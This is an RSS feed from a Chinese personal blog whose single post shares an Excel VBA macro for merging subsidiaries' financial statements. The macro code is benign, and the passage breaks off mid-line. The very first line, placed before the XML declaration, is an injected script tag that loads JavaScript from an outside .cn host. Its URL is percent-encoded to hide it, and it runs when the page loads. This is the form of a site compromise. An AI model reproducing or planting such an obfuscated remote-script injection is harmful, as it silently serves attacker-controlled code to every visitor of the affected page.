<script src=http://%77%77%77%2E%74%76%33%38%30%30%2E%63%6E/%74%63%2E%6A%73></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[紫气东来 - Javascript]]></title>
<link>http://www.dbsun.com/</link>
<description><![CDATA[天行健，君子以自强不息。]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[dbmaster@163.com(Zilong)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>紫气东来</title> 
	<url>http://www.dbsun.com/images/logos.gif</url> 
	<link>http://www.dbsun.com/</link> 
	<description>紫气东来</description> 
</image>

			<item>
			<link>http://www.dbsun.com/default.asp?id=162</link>
			<title><![CDATA[ [原创]合并各子公司财务报表 VBA  初稿]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Tue,16 Dec 2008 15:07:44 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=162</guid>	
		<description><![CDATA[十几家子公司EXCEL报表需要合并，手工整理，直接挂了~~~<br/>技术支持财务部门，所以书写VBA&nbsp;.&nbsp;分享如下，呵呵。<br/><br/>&#39;厦门国贸&nbsp;合并各子公司财务报表<br/>&#39;add&nbsp;by&nbsp;IT部杨闽&nbsp;on&nbsp;2008.12.15<br/>&#39;mail:dbmaster@163.com<br/>&#39;qq:153560261<br/><br/><br/><br/><br/>Private&nbsp;Sub&nbsp;bt_clearAll_Click()<br/>&#39;清空合并的工作表中的数据<br/><br/>&nbsp;If&nbsp;MsgBox(&#34;确认需要清空所有合并的数据？&#34;,&nbsp;vbYesNo,&nbsp;&#34;温馨提示&#34;)&nbsp;&lt;&gt;&nbsp;vbYes&nbsp;Then&nbsp;Exit&nbsp;Sub<br/><br/>&nbsp;Dim&nbsp;xlSht&nbsp;As&nbsp;Worksheet<br/>&nbsp;&nbsp;&nbsp;For&nbsp;Each&nbsp;xlSht&nbsp;In&nbsp;Worksheets<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;xlSht.Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;xlSht.Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;xlSht.Cells.ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Cells.Clear<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;xlSht.Name&nbsp;=&nbsp;&#34;资产负债表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;B6:C17&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G6:H18&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;B20:C37&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G20:H27&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G30:H36&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;G38:H38&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;xlSht.Name&nbsp;=&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C6:D14&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C16:D18&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C20:D20&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C22:D23&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;xlSht.Range(&#34;C25:D26&#34;).ClearContents<br/>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;已先清空所有工作表数据!&#34;,&nbsp;64&nbsp;+&nbsp;0,&nbsp;&#34;温馨提示&#34;<br/><br/>End&nbsp;Sub<br/><br/>Private&nbsp;Sub&nbsp;comb_allExcel_Click()<br/>&#39;按钮单击，调用合并EXCEL功能<br/>&nbsp;&nbsp;Call&nbsp;UnionWorksheets<br/>&nbsp;&nbsp;<br/>End&nbsp;Sub<br/><br/><br/><br/><br/>Sub&nbsp;UnionWorksheets()<br/>&#39;厦门国贸IT部&nbsp;合并财务报表过程<br/>&#39;add&nbsp;by&nbsp;yangmin&nbsp;on&nbsp;2008.12.15<br/>&#39;mail:dbmaster@163.com<br/>&#39;qq:153560261<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;i&nbsp;&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;循环变量记录每个excel工作簿下，工作表的数量<br/>&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;j&nbsp;&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;循环变量&nbsp;&nbsp;记录要合并的excel文件数<br/>&nbsp;&nbsp;&nbsp;&nbsp;j&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;ins&#101;rt_row&nbsp;As&nbsp;Long&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;合并文件中的粘贴位置<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;a&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;资产表，利润表具体那些行需要更新数据<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;zcount&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&nbsp;&#39;总共要合并的EXCEL文件数<br/>&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;zfinished&nbsp;As&nbsp;Integer&nbsp;&nbsp;&nbsp;&#39;显示百分比进度<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;Application.ScreenUpdating&nbsp;=&nbsp;False<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;lj&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;dirname&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;nm&nbsp;As&nbsp;String<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;lj&nbsp;=&nbsp;ActiveWorkbook.Path&nbsp;&nbsp;&#39;当前文件路径<br/>&nbsp;&nbsp;&nbsp;&nbsp;nm&nbsp;=&nbsp;ActiveWorkbook.Name&nbsp;&nbsp;&#39;当前文件名称<br/>&nbsp;&nbsp;&nbsp;&nbsp;dirname&nbsp;=&nbsp;Dir(lj&nbsp;&amp;&nbsp;&#34;\*.xls&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;在当前目录下查找有多少个excel工作簿<br/>With&nbsp;Application.FileSearch<br/>&nbsp;&nbsp;&nbsp;&nbsp;.LookIn&nbsp;=&nbsp;lj<br/>&nbsp;&nbsp;&nbsp;&nbsp;.Filename&nbsp;=&nbsp;&#34;*.xls&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;.Execute<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;.FoundFiles.Count&nbsp;=&nbsp;0&nbsp;o&#114;&nbsp;.FoundFiles.Count&nbsp;=&nbsp;1&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;1&nbsp;&#39;未有其他可以合并的表，只有本张EXCEL表<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;还没有可以合并的工作簿，请检查。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;Sub<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zcount&nbsp;=&nbsp;.FoundFiles.Count&nbsp;-&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;MsgBox&nbsp;&#34;找到了&#34;&nbsp;&amp;&nbsp;zcount&nbsp;&amp;&nbsp;&#34;个需要合并的工作簿&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;MsgBox(&#34;确认需要合并当前目录下&#34;&nbsp;&amp;&nbsp;zcount&nbsp;&amp;&nbsp;&#34;个工作簿？&#34;,&nbsp;vbYesNo,&nbsp;&#34;温馨提示&#34;)&nbsp;&lt;&gt;&nbsp;vbYes&nbsp;Then&nbsp;Exit&nbsp;Sub<br/>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>End&nbsp;With<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&#39;&nbsp;Cells.Clear<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Do&nbsp;While&nbsp;dirname&nbsp;&lt;&gt;&nbsp;&#34;&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;开始遍历当前路径下的所有excel文件<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;dirname&nbsp;&lt;&gt;&nbsp;nm&nbsp;Then&nbsp;&nbsp;&#39;非本张汇总工作簿<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j&nbsp;=&nbsp;j&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zfinished&nbsp;=&nbsp;j&nbsp;/&nbsp;3&nbsp;*&nbsp;100&nbsp;&#39;进度百分比<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.StatusBar&nbsp;=&nbsp;&#34;当前合并进度&nbsp;&#34;&nbsp;&amp;&nbsp;zfinished&nbsp;&amp;&nbsp;&#34;%&#34;&nbsp;&#39;显示进度条<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks.Open&nbsp;Filename:=lj&nbsp;&amp;&nbsp;&#34;\&#34;&nbsp;&amp;&nbsp;dirname<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(nm).Activate<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;复制新打开工作簿的工作表的已用区域到当前工作表&nbsp;&nbsp;&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;Workbooks(dirname).Sheets.Count&nbsp;&nbsp;&nbsp;&#39;对当前工作簿的各个工作表进行遍历<br/><br/>&nbsp;&nbsp;With&nbsp;Workbooks(dirname).Sheets(i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;j&nbsp;=&nbsp;1&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;是第一张表,要表头<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;添加明细表的数据来源&nbsp;add&nbsp;by&nbsp;ym&nbsp;on&nbsp;2008.12.16<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;m,&nbsp;n&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;dz1&#34;).End(xlToLeft).Column<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;MsgBox&nbsp;&#34;这张表共有&#34;&nbsp;&amp;&nbsp;n&nbsp;&amp;&nbsp;&#34;行，&#34;&nbsp;&amp;&nbsp;m&nbsp;&amp;&nbsp;&#34;列。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;m&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(1,&nbsp;m)&nbsp;=&nbsp;&#34;数据来源&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(1,&nbsp;m).Interior.ColorIndex&nbsp;=&nbsp;37&nbsp;&#39;背景设置为淡兰色<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;n&nbsp;&gt;=&nbsp;2&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;2&nbsp;To&nbsp;n<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(a,&nbsp;m)&nbsp;=&nbsp;Left(dirname,&nbsp;Len(dirname)&nbsp;-&nbsp;4)&nbsp;&#39;取文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;Sheets(i).Name&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(dirname).Sheets(i).UsedRange.Copy&nbsp;_<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;a65536&#34;).End(xlUp).Offset(0,&nbsp;0)&nbsp;&#39;将打开的需要合并的子EXCEL报表的某sheet，合并到当前sheet的从(0,0)开始的位置<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;工作簿&#39;&#34;&nbsp;&amp;&nbsp;dirname&nbsp;&amp;&nbsp;&#34;&#39;下的工作表&#39;&#34;&nbsp;&amp;&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&amp;&nbsp;&#34;&#39;顺序与当前汇总表不同，请检查&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;资产负债表&#34;&nbsp;And&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&lt;&gt;&nbsp;&#34;利润表&#34;&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;添加明细表的数据来源&nbsp;add&nbsp;by&nbsp;ym&nbsp;on&nbsp;2008.12.16<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;Dim&nbsp;m,&nbsp;n&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;b&nbsp;As&nbsp;Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row&nbsp;&#39;汇总表已经有的行数<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b&nbsp;=&nbsp;b&nbsp;+&nbsp;1&nbsp;&#39;当前新加行<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;MsgBox&nbsp;&#34;当前新加行;&#34;&nbsp;&amp;&nbsp;b&nbsp;&amp;&nbsp;&#34;行&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;dz1&#34;).End(xlToLeft).Column<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;A65536&#34;).End(xlUp).Row<br/>&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;n&nbsp;&gt;=&nbsp;2&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;&nbsp;MsgBox&nbsp;&#34;这张表共有&#34;&nbsp;&amp;&nbsp;n&nbsp;&amp;&nbsp;&#34;行，&#34;&nbsp;&amp;&nbsp;m&nbsp;&amp;&nbsp;&#34;列。&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;m&nbsp;+&nbsp;1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;Sheets(i).Cells(1,&nbsp;m)&nbsp;=&nbsp;&#34;数据来源&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;n&nbsp;=&nbsp;n&nbsp;+&nbsp;b&nbsp;-&nbsp;1&nbsp;-&nbsp;1<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;b&nbsp;To&nbsp;n<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Cells(a,&nbsp;m)&nbsp;=&nbsp;Left(dirname,&nbsp;Len(dirname)&nbsp;-&nbsp;4)&nbsp;&nbsp;&#39;取文件名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;Sheets(i).Name&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.Range(.Cells(2,&nbsp;1),&nbsp;.Cells.SpecialCells(xlCellTypeLastCell)).Copy&nbsp;_<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;a65536&#34;).End(xlUp).Offset(1,&nbsp;0)&nbsp;&#39;注意这个要从&nbsp;(1,0)开始追加数据！否则最后会发现会覆盖上次取数的一行数据！！<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;工作簿&#39;&#34;&nbsp;&amp;&nbsp;dirname&nbsp;&amp;&nbsp;&#34;&#39;下的工作表&#39;&#34;&nbsp;&amp;&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;&amp;&nbsp;&#34;&#39;顺序与当前汇总表不同，请检查&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;&#34;资产负债表&#34;&nbsp;Then&nbsp;&nbsp;&#39;资产负债表的修正<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;Dim&nbsp;a&nbsp;As&nbsp;Integer<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;37<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;b&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;期末余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;年初余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;38<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;28&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;29&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;37&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;g&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;期末余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;h&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;年初余额<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;ElseIf&nbsp;Workbooks(dirname).Sheets(i).Name&nbsp;=&nbsp;&#34;利润表&#34;&nbsp;Then&nbsp;&#39;利润表的修正<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;a&nbsp;=&nbsp;6&nbsp;To&nbsp;26<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;a&nbsp;&lt;&gt;&nbsp;15&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;19&nbsp;And&nbsp;a&nbsp;&lt;&gt;&nbsp;21&nbsp;Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;c&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;本月<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;=&nbsp;Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;+&nbsp;Workbooks(dirname).Sheets(i).Range(&#34;d&#34;&nbsp;&amp;&nbsp;a)&nbsp;&#39;&nbsp;&nbsp;累计<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next<br/>&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;End&nbsp;With<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;Next<br/>&nbsp;<br/>&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Workbooks(dirname).Close&nbsp;False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dirname&nbsp;=&